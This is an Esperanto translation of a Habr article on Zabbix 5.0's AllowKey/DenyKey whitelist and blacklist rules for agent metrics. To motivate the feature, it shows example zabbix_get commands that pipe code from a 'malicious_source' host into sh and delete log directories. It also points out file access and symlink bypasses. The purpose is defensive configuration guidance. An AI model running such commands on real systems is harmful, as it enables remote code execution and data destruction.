Subteno de nigra listo kaj blanklisto por agent-flanka metriko en Zabbix 5.0

Subteno de nigra listo kaj blanklisto por agent-flanka metriko en Zabbix 5.0

Subteno de nigralisto kaj blanklisto por agent-flankaj metrikoj

Tiĥon Uskov, Integriĝo-Inĝeniero, Zabbix

Problemoj pri sekureco de datumoj

Zabbix 5.0 havas novan funkcion, kiu permesas vin plibonigi sekurecon en sistemoj uzantaj Zabbix Agent kaj anstataŭigas la malnovan parametron. Ebligu RemoteCommands.

Pliboniĝoj en la sekureco de agent-bazitaj sistemoj devenas de la fakto ke agento povas plenumi grandan nombron da eble danĝeraj agoj.

  • La agento povas kolekti preskaŭ ajnajn informojn, inkluzive de konfidencaj aŭ eble danĝeraj informoj, de agordaj dosieroj, protokolaj dosieroj, pasvortaj dosieroj aŭ ajnaj aliaj dosieroj.

Ekzemple, uzante la ilon zabbix_get vi povas aliri liston de uzantoj, iliajn hejmajn dosierujojn, pasvortajn dosierojn, ktp.

Subteno de nigra listo kaj blanklisto por agent-flanka metriko en Zabbix 5.0

Aliri datumojn per la ilo zabbix_get

NOTO. Datenoj povas esti prenitaj nur se la agento havas legajn permesojn sur la responda dosiero. Sed, ekzemple, la dosiero /etc/passwd/ legebla de ĉiuj uzantoj.

  • La agento ankaŭ povas efektivigi eble danĝerajn komandojn. Ekzemple, ŝlosilo *system.run[]** permesas al vi ekzekuti iujn ajn forajn komandojn sur retaj nodoj, inkluzive de rulado de skriptoj de la interfaco de Zabbix, kiuj ankaŭ plenumas komandojn ĉe la agenta flanko.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • En Linukso, la agento funkcias defaŭlte sen radikaj privilegioj, dum en Vindozo ĝi funkcias kiel servo kiel Sistemo kaj havas senliman aliron al la dosiersistemo. Sekve, se neniuj ŝanĝoj estas faritaj al la parametroj de Zabbix Agent post instalado, la agento havas aliron al la registro, dosiersistemo kaj povas efektivigi WMI-demandojn.

En pli fruaj versioj la parametro EnableRemoteCommands=0 permesite nur malŝalti metrikojn per la ŝlosilo *system.run[]** kaj ruliĝantaj skriptoj de la retinterfaco, sed estis neniu maniero limigi aliron al individuaj dosieroj, permesi aŭ malŝalti individuajn ŝlosilojn kiuj estis instalitaj kun la agento, aŭ limigi la uzon de individuaj parametroj.

Subteno de nigra listo kaj blanklisto por agent-flanka metriko en Zabbix 5.0

Uzante la parametron EnableRemoteCommand en pli fruaj versioj de Zabbix

AllowKey/DenyKey

Zabbix 5.0 helpas protekti kontraŭ tia neaŭtorizita aliro provizante blankajn listojn kaj nigrajn listojn por permesi kaj malkonfirmi metrikojn ĉe la agento.

En Zabbix 5.0 ĉiuj ŝlosiloj, inkluzive de *system.run[]** estas ebligitaj, kaj du novaj agentaj agordaj opcioj estis aldonitaj:

AllowKey= — permesitaj ĉekoj;

DenyKey= — malpermesitaj ĉekoj;

kie estas ŝlosila nomo ŝablono kun parametroj kiuj uzas metasignojn (*).

La klavoj AllowKey kaj DenyKey permesas al vi permesi aŭ nei individuajn metrikojn bazitajn sur specifa ŝablono. Male al aliaj agordaj parametroj, la nombro da AllowKey/DenyKey-parametroj ne estas limigita. Ĉi tio ebligas al vi klare difini, kion precize la agento povas fari en la sistemo kreante arbon de ĉekoj - ruleblaj ŝlosiloj, kie la ordo en kiu ili estas skribitaj ludas tre gravan rolon.

Sekvo de reguloj

La reguloj estas kontrolitaj en la ordo en kiu ili estas enigitaj en la agordan dosieron. La ŝlosilo estas kontrolita laŭ la reguloj antaŭ la unua matĉo, kaj tuj kiam la ŝlosilo de la datenelemento kongruas kun la ŝablono, ĝi estas permesita aŭ malakceptita. Post tio, regulkontrolado ĉesas kaj la ceteraj klavoj estas ignoritaj.

Sekve, se elemento kongruas kaj permesi kaj rifuzi regulon, la rezulto dependos de kiu regulo estas unua en la agorda dosiero.

Subteno de nigra listo kaj blanklisto por agent-flanka metriko en Zabbix 5.0

2 malsamaj reguloj kun la sama ŝablono kaj ŝlosilo vfs.file.size[/tmp/file]

La ordo de uzado de la klavoj AllowKey/DenyKey:

  1. ĝustaj reguloj,
  2. ĝeneralaj reguloj,
  3. prohiba regulo.

Ekzemple, se vi bezonas aliron al dosieroj en certa dosierujo, vi unue devas permesi aliron al ili, kaj poste nei ĉion alian, kio ne eniras la establitajn permesojn. Se la rifuza regulo estas uzata unue, aliro al la dosierujo estos malakceptita.

Subteno de nigra listo kaj blanklisto por agent-flanka metriko en Zabbix 5.0

Ĝusta sinsekvo

Se vi bezonas permesi al 2 iloj funkcii per *system.run[]**, kaj la nea regulo estos unue specifita, la iloj ne estos lanĉitaj, ĉar la unua ŝablono ĉiam kongruos kun iu ajn ŝlosilo, kaj postaj reguloj estos ignoritaj.

Subteno de nigra listo kaj blanklisto por agent-flanka metriko en Zabbix 5.0

Malĝusta sinsekvo

Ŝablonoj

Bazaj reguloj

Ŝablono estas esprimo kun ĵokeroj. La metakaraktero (*) kongruas kun ajna nombro da iuj signoj ĉe specifa pozicio. Metakarakteroj povas esti uzataj kaj en la ŝlosilnomo kaj en parametroj. Ekzemple, vi povas strikte difini la unuan parametron per teksto, kaj specifu la postan kiel ĵokeron.

Parametroj devas esti enmetitaj inter kvadrataj krampoj [].

  • system.run[* - malĝuste
  • vfs.file*.txt] - malĝuste
  • vfs.file.*[*] - ĝuste

Ekzemploj de uzado de ĵokero.

  1. En la ŝlosilnomo kaj en la parametro. En ĉi tiu kazo, la ŝlosilo ne respondas al simila ŝlosilo, kiu ne enhavas parametron, ĉar en la ŝablono ni indikis, ke ni volas ricevi certan finon de la ŝlosilnomo kaj certan aron da parametroj.
  2. Se la ŝablono ne uzas kvadratajn krampojn, la ŝablono permesas ĉiujn ŝlosilojn, kiuj ne enhavas parametrojn, kaj neas ĉiujn ŝlosilojn, kiuj enhavas la specifitan parametron.
  3. Se la ŝlosilo estas skribita en plena kaj la parametroj estas specifitaj kiel ĵokero, ĝi kongruos kun ajna simila ŝlosilo kun iuj parametroj kaj ne kongruos kun la ŝlosilo sen kvadrataj krampoj, t.e. ĝi estos permesita aŭ neita.

Subteno de nigra listo kaj blanklisto por agent-flanka metriko en Zabbix 5.0

Reguloj por plenigi parametrojn.

  • Se klavo kun parametroj intencas esti uzata, la parametroj devas esti specifitaj en la agorda dosiero. Parametroj devas esti specifitaj kiel metakaraktero. Necesas zorge rifuzi aliron al iu ajn dosiero kaj konsideri kiajn informojn la metriko povas provizi sub malsamaj literumoj - kun kaj sen parametroj.

Subteno de nigra listo kaj blanklisto por agent-flanka metriko en Zabbix 5.0

Trajtoj de skribado de klavoj kun parametroj

  • Se ŝlosilo estas specifita kun parametroj, sed la parametroj estas laŭvolaj kaj specifitaj kiel metakaraktero, ŝlosilo sen parametroj estos solvita. Ekzemple, se vi volas malŝalti ricevi informojn pri la ŝarĝo sur la CPU kaj specifi, ke la ŝlosilo system.cpu.load[*] estu malŝaltita, ne forgesu, ke la ŝlosilo sen parametroj redonos la averaĝan ŝarĝvaloron.

Subteno de nigra listo kaj blanklisto por agent-flanka metriko en Zabbix 5.0

Reguloj por plenigi parametrojn

Notoj

alĝustigo

  • Iuj reguloj ne povas esti ŝanĝitaj de la uzanto, ekzemple, malkovraj reguloj aŭ agentaj aŭtomatregistraj reguloj. AllowKey/DenyKey-reguloj ne influas la sekvajn parametrojn:
    - Gastigantonomo
    - HostMetadataItem
    - HostInterfaceItem

NOTO. Se administranto malŝaltas ŝlosilon, kiam pridemandite, Zabbix ne disponigas informojn pri kial la metriko aŭ ŝlosilo falas en la ' kategorionNESUBTENITA'. Informoj pri malpermesoj pri ekzekuto de foraj komandoj ankaŭ ne estas montrataj en la agentaj protokoloj. Ĉi tio estas pro sekurecaj kialoj, sed povas malfaciligi sencimigon se metrikoj ial falas en nesubtenatan kategorion..

  • Vi ne devus fidi iun specifan ordon por konekti eksterajn agordajn dosierojn (ekzemple, en alfabeta ordo).

Komandliniaj Utilaĵoj

Post agordo de la reguloj, vi devas certigi, ke ĉio estas ĝuste agordita.

Vi povas uzi unu el tri ebloj:

  • Aldonu metrikon al Zabbix.
  • Testu kun zabbix_agentd. Zabbix-agento kun opcio -print (-p) montras ĉiujn ŝlosilojn (kiuj estas permesitaj defaŭlte) krom tiuj, kiuj ne estas permesitaj de la agordo. Kaj kun la opcio -testo (-t) ĉar malpermesita ŝlosilo revenos 'Nesubtenata eroŝlosilo'.
  • Testu kun zabbix_get. Utilo zabbix_get kun opcio -k revenos 'ZBX_NOTSUPPORTED: Nekonata metriko'.

Permesi aŭ nei

Vi povas nei aliron al dosiero kaj kontroli, ekzemple, uzante la ilon zabbix_getke aliro al la dosiero estas rifuzita.

Subteno de nigra listo kaj blanklisto por agent-flanka metriko en Zabbix 5.0

**

NOTO. Citaĵoj en la parametro estas ignorataj.

En ĉi tiu kazo, aliro al tia dosiero povas esti permesita per malsama vojo. Ekzemple, se simbolligo kondukas al ĝi.

Subteno de nigra listo kaj blanklisto por agent-flanka metriko en Zabbix 5.0

Oni rekomendas kontroli diversajn eblojn por apliki la specifitajn regulojn, kaj ankaŭ konsideri la eblecojn eviti la malpermesojn.

Demandoj kaj Respondoj

la demando. Kial tia kompleksa ŝablono kun sia propra lingvo estis elektita por priskribi regulojn, permesojn kaj malpermesojn? Kial ne eblis uzi, ekzemple, la regulajn esprimojn, kiujn Zabbix uzas?

Respondu. Ĉi tio estas regex agado-problemo ĉar kutime ekzistas nur unu agento kaj ĝi kontrolas grandegan nombron da metrikoj. Regex estas sufiĉe peza operacio kaj ni ne povas kontroli milojn da metrikoj tiamaniere. Wildcards - universala, vaste uzata kaj simpla solvo.

la demando. Ĉu la Inkluzivi dosierojn ne estas inkluditaj en alfabeta ordo?

Respondu. Laŭ mia scio, estas preskaŭ neeble antaŭdiri la ordon en kiu reguloj estos aplikataj se vi disvastigas la regulojn tra malsamaj dosieroj. Mi rekomendas kolekti ĉiujn regulojn de AllowKey/DenyKey en unu Inkluzivi dosieron, ĉar ili interagas inter si, kaj inkluzivi ĉi tiun dosieron..

la demando. En Zabbix 5.0 la opcio 'EnableRemoteCommands=' mankas en la agorda dosiero, kaj nur AllowKey/DenyKey estas disponeblaj?

Respondu. Jes tio pravas.

Спасибо за внимание!

fonto: www.habr.com

Aldoni komenton